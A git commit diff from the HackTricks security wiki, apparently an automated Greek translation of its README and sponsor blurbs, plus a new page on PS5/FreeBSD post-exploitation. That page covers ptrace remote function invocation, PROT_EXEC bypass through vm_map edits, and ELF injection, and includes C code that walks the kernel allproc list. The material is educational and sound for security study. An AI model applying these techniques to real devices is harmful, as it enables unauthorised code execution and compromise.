Translated ['src/README.md', 'src/binary-exploitation/freebsd-ptrace-rfi

This commit is contained in:
Translator 2025-09-30 22:49:20 +00:00
parent 5a55c0caa7
commit 071a97db00
20 changed files with 2060 additions and 872 deletions

File diff suppressed because one or more lines are too long

View File

@ -2,9 +2,9 @@
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks λογότυπα & κίνηση σχεδίαση από_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks λογότυπα & motion design από_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Εκτέλεση του HackTricks Τοπικά
### Εκτέλεση HackTricks τοπικά
```bash
# Download latest version of hacktricks
git clone https://github.com/HackTricks-wiki/hacktricks
@ -31,19 +31,19 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Η τοπική σας αντίγραφο του HackTricks θα είναι **διαθέσιμο στο [http://localhost:3337](http://localhost:3337)** μετά από <5 λεπτά (χρειάζεται να κατασκευάσει το βιβλίο, να είστε υπομονετικοί).
Η τοπική σας αντιγραφή του HackTricks θα είναι **διαθέσιμη στο [http://localhost:3337](http://localhost:3337)** μετά από <5 λεπτά (πρέπει να χτίσει το βιβλίο, να είστε υπομονετικοί).
## Χορηγοί Εταιρειών
## Εταιρικοί Χορηγοί
### [STM Cyber](https://www.stmcyber.com)
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας της οποίας το σλόγκαν είναι **HACK THE UNHACKABLE**. Πραγματοποιούν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία hacking για να **προσφέρουν πολλές πολύτιμες υπηρεσίες κυβερνοασφάλειας** όπως pentesting, Red teams και εκπαίδευση.
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας του οποίου το σύνθημα είναι **HACK THE UNHACKABLE**. Πραγματοποιούν τη δική τους έρευνα και αναπτύσσουν τα δικά τους hacking εργαλεία για να **προσφέρουν αρκετές πολύτιμες υπηρεσίες κυβερνοασφάλειας** όπως pentesting, Red teams και εκπαίδευση.
Μπορείτε να ελέγξετε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
Μπορείτε να δείτε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** υποστηρίζει επίσης έργα ανοιχτού κώδικα στον τομέα της κυβερνοασφάλειας όπως το HackTricks :)
**STM Cyber** επίσης στηρίζει open source έργα κυβερνοασφάλειας όπως το HackTricks :)
---
@ -51,7 +51,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πειθαρχία.
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό event κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **την αποστολή προώθησης της τεχνικής γνώσης**, αυτό το συνέδριο αποτελεί ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
{{#ref}}
https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** είναι η **#1 στην Ευρώπη** πλατφόρμα ηθικού hacking και **bug bounty.**
**Intigriti** είναι η **Europe's #1** ethical hacking και **bug bounty platform.**
**Συμβουλή bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
**Bug bounty tip**: **sign up** για **Intigriti**, μια premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και ξεκινήστε να κερδίζετε bounties μέχρι **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και **να αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργείτε εύκολα και να **αυτοματοποιείτε workflows** που τροφοδοτούνται από τα **πιο προηγμένα** community εργαλεία στον κόσμο.
Αποκτήστε πρόσβαση σήμερα:
Get Access Today:
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και bug bounty hunters!
- **Insights Hacking:** Συμμετοχή σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
- **Νέα Hack σε Πραγματικό Χρόνο:** Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και insights σε πραγματικό χρόνο
- **Τελευταίες Ανακοινώσεις:** Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounty και κρίσιμες ενημερώσεις πλατφόρμας
- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
**Ελάτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
---
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Το απαραίτητο εργαλείο δοκιμών διείσδυσης
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud**
**Get a hacker's perspective on your web apps, network, and cloud**
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
**Find and report critical, exploitable vulnerabilities with real business impact.** Χρησιμοποιήστε τα 20+ custom εργαλεία μας για να χαρτογραφήσετε την attack surface, να εντοπίσετε θέματα ασφάλειας που επιτρέπουν escalation privileges, και να χρησιμοποιήσετε automated exploits για να συλλέξετε απαραίτητα αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** προσφέρει γρήγορες και εύκολες APIs σε πραγματικό χρόνο για **πρόσβαση στα αποτελέσματα μηχανών αναζήτησης**. Scrape μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
**SerpApi** προσφέρει γρήγορα και εύκολα real-time APIs για να **access search engine results**. Κάνουν scraping σε search engines, διαχειρίζονται proxies, λύνουν captchas, και parse-άρουν όλα τα rich structured data για εσάς.
Μια συνδρομή σε ένα από τα σχέδια του SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων των Google, Bing, Baidu, Yahoo, Yandex και άλλων.\
Σε αντίθεση με άλλους παρόχους, **η SerpApi δεν scrapes μόνο οργανικά αποτελέσματα**. Οι απαντήσεις της SerpApi περιλαμβάνουν σταθερά όλες τις διαφημίσεις, inline εικόνες και βίντεο, γραφήματα γνώσεων και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
Μια συνδρομή σε ένα από τα σχέδια της SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικά APIs για scraping διαφορετικών search engines, συμπεριλαμβανομένων Google, Bing, Baidu, Yahoo, Yandex, και άλλα.\
Σε αντίθεση με άλλους providers, **SerpApi doesnt just scrape organic results**. Οι απαντήσεις της SerpApi περιλαμβάνουν σταθερά όλα τα ads, inline images και videos, knowledge graphs, και άλλα στοιχεία και features που υπάρχουν στα search results.
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν **Apple, Shopify και GrubHub**.\
Για περισσότερες πληροφορίες, ελέγξτε το [**blog**](https://serpapi.com/blog/)** τους,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)** τους.**\
Μπορείτε να **δημιουργήσετε έναν δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign_up)**.**
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν **Apple, Shopify, and GrubHub**.\
Για περισσότερες πληροφορίες δείτε το [**blog**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**playground**](https://serpapi.com/playground)**.**\
Μπορείτε να **δημιουργήσετε δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign_up)**.**
---
### [8kSec Academy Σε βάθος Μαθήματα Ασφαλείας Κινητών](https://academy.8ksec.io/)
### [8kSec Academy In-Depth Mobile Security Courses](https://academy.8ksec.io/)
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Μάθετε τις τεχνολογίες και τις δεξιότητες που απαιτούνται για να εκτελέσετε έρευνα ευπαθειών, δοκιμές διείσδυσης και αντίστροφη μηχανική για να προστατεύσετε τις κινητές εφαρμογές και τις συσκευές. **Κατακτήστε την ασφάλεια iOS και Android** μέσω των on-demand μαθημάτων μας και **λάβετε πιστοποίηση**:
Μάθετε τις τεχνολογίες και τις δεξιότητες που απαιτούνται για να πραγματοποιήσετε vulnerability research, penetration testing, και reverse engineering για να προστατέψετε mobile applications και devices. **Master iOS and Android security** μέσω των on-demand courses μας και **get certified**:
{{#ref}}
https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **να προστατεύει** τις επιχειρήσεις **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με **σύγχρονη** προσέγγιση.
[**WebSec**](https://websec.net) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **να προστατέψει** επιχειρήσεις **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **offensive-security services** με μια **μοντέρνα** προσέγγιση.
Η WebSec είναι μια διεθνής εταιρεία ασφάλειας με γραφεία στο Άμστερνταμ και το Wyoming. Προσφέρουν **υπηρεσίες ασφάλειας all-in-one** που σημαίνει ότι τα κάνουν όλα: Pentesting, **Ασφάλεια** Ελέγχων, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Εκμεταλλεύσεων, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα.
Η WebSec είναι μια διεθνής εταιρεία ασφαλείας με γραφεία σε Amsterdam και Wyoming. Προσφέρουν **all-in-one security services** που σημαίνει ότι κάνουν σχεδόν τα πάντα: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing και πολλά άλλα.
Ένα άλλο ενδιαφέρον πράγμα για την WebSec είναι ότι σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, δηλώνει στην ιστοσελίδα της "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.net/en/) και το [**blog**](https://websec.net/blog/) τους!
Ένα ακόμα καλό για τη WebSec είναι ότι σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις δεξιότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, στο site τους αναφέρεται "**If we can't hack it, You don't pay it!**". Για περισσότερες πληροφορίες ρίξτε μια ματιά στο [**website**](https://websec.net/en/) και στο [**blog**](https://websec.net/blog/)!
Επιπλέον, η WebSec είναι επίσης **δεσμευμένος υποστηρικτής του HackTricks.**
Επιπλέον, η WebSec είναι επίσης **δέσμευση υποστηρικτής του HackTricks.**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) είναι μια μηχανή αναζήτησης διαρροών δεδομένων (leak). \
Παρέχουμε αναζητήσεις τυχαίων συμβολοσειρών (όπως η google) σε όλους τους τύπους διαρροών δεδομένων μεγάλων και μικρών --όχι μόνο τις μεγάλες-- από δεδομένα πολλαπλών πηγών. \
Αναζητήσεις ανθρώπων, αναζητήσεις AI, αναζητήσεις οργανισμών, πρόσβαση API (OpenAPI), ενσωμάτωση theHarvester, όλα τα χαρακτηριστικά που χρειάζεται ένας pentester.\
**Το HackTricks συνεχίζει να είναι μια εξαιρετική πλατφόρμα μάθησης για όλους μας και είμαστε περήφανοι που το υποστηρίζουμε!**
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) είναι μια μηχανή αναζήτησης data breach (leak). \
Προσφέρουμε random string search (like google) πάνω σε όλα τα είδη data leaks μεγάλα και μικρά --όχι μόνο τα μεγάλα-- πάνω σε δεδομένα από πολλαπλές πηγές. \
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, όλα τα features που χρειάζεται ένας pentester.\
**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -180,16 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
**Κατασκευασμένο για το πεδίο. Κατασκευασμένο γύρω σας.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) αναπτύσσει και παρέχει αποτελεσματική εκπαίδευση κυβερνοασφάλειας που κατασκευάζεται και καθοδηγείται από
ειδικούς της βιομηχανίας. Τα προγράμματά τους ξεπερνούν τη θεωρία για να εξοπλίσουν τις ομάδες με βαθιά
κατανόηση και εφαρμόσιμες δεξιότητες, χρησιμοποιώντας προσαρμοσμένα περιβάλλοντα που αντικατοπτρίζουν τις πραγματικές
απειλές. Για ερωτήσεις σχετικά με προσαρμοσμένη εκπαίδευση, επικοινωνήστε μαζί μας [**εδώ**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) αναπτύσσει και παραδίδει αποτελεσματική εκπαίδευση κυβερνοασφάλειας σχεδιασμένη και καθοδηγούμενη από industry experts. Τα προγράμματά τους ξεπερνούν τη θεωρία για να εξοπλίσουν ομάδες με βαθιά κατανόηση και εφαρμόσιμες δεξιότητες, χρησιμοποιώντας custom περιβάλλοντα που αντανακλούν πραγματικές απειλές. Για προσαρμοσμένες εκπαιδεύσεις, επικοινωνήστε μαζί μας [**εδώ**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Τι ξεχωρίζει την εκπαίδευσή τους:**
* Προσαρμοσμένο περιεχόμενο και εργαστήρια
* Υποστηριζόμενο από κορυφαία εργαλεία και πλατφόρμες
* Σχεδιασμένο και διδασκόμενο από επαγγελματίες
* Custom-built content and labs
* Backed by top-tier tools and platforms
* Designed and taught by practitioners
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@ -201,19 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutions παρέχει εξειδικευμένες υπηρεσίες κυβερνοασφάλειας για **Εκπαίδευση** και **FinTech**
ιδρύματα, με έμφαση σε **δοκιμές διείσδυσης, αξιολογήσεις ασφάλειας cloud** και
**ετοιμότητα συμμόρφωσης** (SOC 2, PCI-DSS, NIST). Η ομάδα μας περιλαμβάνει **OSCP και CISSP
πιστοποιημένους επαγγελματίες**, φέρνοντας βαθιά τεχνική εμπειρία και γνώση βιομηχανίας σε
κάθε συνεργασία.
Last Tower Solutions παρέχει εξειδικευμένες υπηρεσίες κυβερνοασφάλειας για ιδρύματα **Education** και **FinTech**, με έμφαση σε **penetration testing, cloud security assessments**, και **compliance readiness** (SOC 2, PCI-DSS, NIST). Η ομάδα μας περιλαμβάνει επαγγελματίες πιστοποιημένους με **OSCP and CISSP**, φέρνοντας βαθιά τεχνική εξειδίκευση και γνώση βιομηχανικών προτύπων σε κάθε συνεργασία.
Πηγαίνουμε πέρα από τις αυτοματοποιημένες σαρώσεις με **χειροκίνητες, καθοδηγούμενες από πληροφορίες δοκιμές** προσαρμοσμένες σε
υψηλού κινδύνου περιβάλλοντα. Από την ασφάλιση αρχείων φοιτητών έως την προστασία χρηματοοικονομικών συναλλαγών,
βοηθάμε τους οργανισμούς να υπερασπιστούν ό,τι έχει σημασία περισσότερο.
Προχωρούμε πέρα από τα automated scans με **manual, intelligence-driven testing** προσαρμοσμένο σε περιβάλλοντα υψηλού ρίσκου. Από την ασφάλεια των μαθητικών αρχείων μέχρι την προστασία χρηματοοικονομικών συναλλαγών, βοηθάμε οργανισμούς να υπερασπίζονται ό,τι έχει μεγαλύτερη σημασία.
_“Μια ποιοτική άμυνα απαιτεί γνώση της επίθεσης, παρέχουμε ασφάλεια μέσω της κατανόησης.”_
_“A quality defense requires knowing the offense, we provide security through understanding.”_
Μείνετε ενημερωμένοι και ενημερωμένοι με τα τελευταία νέα στην κυβερνοασφάλεια επισκεπτόμενοι το [**blog**](https://www.lasttowersolutions.com/blog).
Μείνετε ενημερωμένοι με τα τελευταία νέα στην κυβερνοασφάλεια επισκεπτόμενοι το [**blog**](https://www.lasttowersolutions.com/blog).
{{#ref}}
https://www.lasttowersolutions.com/
@ -221,15 +213,30 @@ https://www.lasttowersolutions.com/
---
## Άδεια & Αποποίηση Ευθυνών
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
Ελέγξτε τα εδώ:
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE δίνει τη δυνατότητα σε DevOps, DevSecOps, και developers να διαχειρίζονται, να παρακολουθούν, και να ασφαλίζουν Kubernetes clusters αποδοτικά. Αξιοποιήστε τα AI-driven insights μας, το advanced security framework, και το ευχάριστο CloudMaps GUI για να οπτικοποιήσετε τα clusters σας, να κατανοήσετε την κατάσταση τους, και να δράσετε με αυτοπεποίθηση.
Επιπλέον, το K8Studio είναι **συμβατό με όλες τις κύριες kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
{{#ref}}
https://k8studio.io/
{{#endref}}
---
## License & Disclaimer
Check them in:
{{#ref}}
welcome/hacktricks-values-and-faq.md
{{#endref}}
## Στατιστικά Github
## Github Stats
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)

View File

@ -59,6 +59,7 @@
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@ -82,6 +83,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
@ -102,6 +104,7 @@
# 🐧 Linux Hardening
- [Linux Basics](linux-hardening/linux-basics.md)
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
@ -570,6 +573,7 @@
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@ -587,6 +591,7 @@
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
@ -843,6 +848,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)

View File

@ -0,0 +1,183 @@
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
{{#include ../banners/hacktricks-training.md}}
## Επισκόπηση
Αυτή η σελίδα τεκμηριώνει μια πρακτική τεχνική έγχυσης διεργασίας/ELF σε usermode σε PlayStation 5 (PS5), το οποίο βασίζεται σε FreeBSD. Η μέθοδος γενικεύεται σε παράγωγα του FreeBSD όταν έχετε ήδη kernel read/write (R/W) primitives. Σε υψηλό επίπεδο:
- Τροποποιήστε τα credentials της τρέχουσας διεργασίας (ucred) για να χορηγήσετε δικαιώματα debugger, επιτρέποντας ptrace/mdbg σε αυθαίρετες διεργασίες χρήστη.
- Εντοπίστε διεργασίες-στόχους περπατώντας τη λίστα allproc του kernel.
- Παρακάμψτε τους περιορισμούς PROT_EXEC θέτοντας vm_map_entry.protection |= PROT_EXEC στο vm_map του στόχου μέσω εγγραφών στη μνήμη του kernel.
- Χρησιμοποιήστε ptrace για να εκτελέσετε Remote Function Invocation (RFI): σταματήστε ένα thread, ορίστε registers για να καλέσετε αυθαίρετες συναρτήσεις εντός του στόχου, επαναλάβετε την εκτέλεση, συλλέξτε τιμές επιστροφής και επαναφέρετε την κατάσταση.
- Map και εκτελέστε αυθαίρετα ELF payloads μέσα στον στόχο χρησιμοποιώντας έναν in-process ELF loader, στη συνέχεια spawn ένα αφιερωμένο thread που τρέχει το payload σας και προκαλεί ένα breakpoint για καθαρό detach.
PS5 hypervisor mitigations worth noting (contextualized for this technique):
- XOM (execute-only .text) αποτρέπει την ανάγνωση/εγγραφή του kernel .text.
- Το καθάρισμα του CR0.WP ή η απενεργοποίηση του CR4.SMEP προκαλεί hypervisor vmexit (crash). Μόνο εγγραφές δεδομένων στον kernel είναι βιώσιμες.
- Το mmap σε userland περιορίζεται σε PROT_READ|PROT_WRITE από προεπιλογή. Η παροχή PROT_EXEC πρέπει να γίνει επεξεργάζοντας τις εγγραφές vm_map στη μνήμη του kernel.
Αυτή η τεχνική είναι post-exploitation: προϋποθέτει kernel R/W primitives από μια αλυσίδα exploit. Δημόσια payloads επιδεικνύουν αυτό έως το firmware 10.01 κατά το χρόνο γραφής.
## Kernel data-only primitives
### Process discovery via allproc
FreeBSD διατηρεί μια διπλά-συνδεδεμένη λίστα διεργασιών στο kernel .data στο allproc. Με ένα kernel read primitive, επαναλάβετε αυτή τη λίστα για να εντοπίσετε ονόματα διεργασιών και PIDs:
```c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
```
Σημειώσεις:
- KERNEL_ADDRESS_ALLPROC εξαρτάται από το firmware.
- p_comm είναι ένα όνομα σταθερού μεγέθους· σκεφτείτε αναζητήσεις pid->proc αν χρειαστεί.
### Ανύψωση δικαιωμάτων για debugging (ucred)
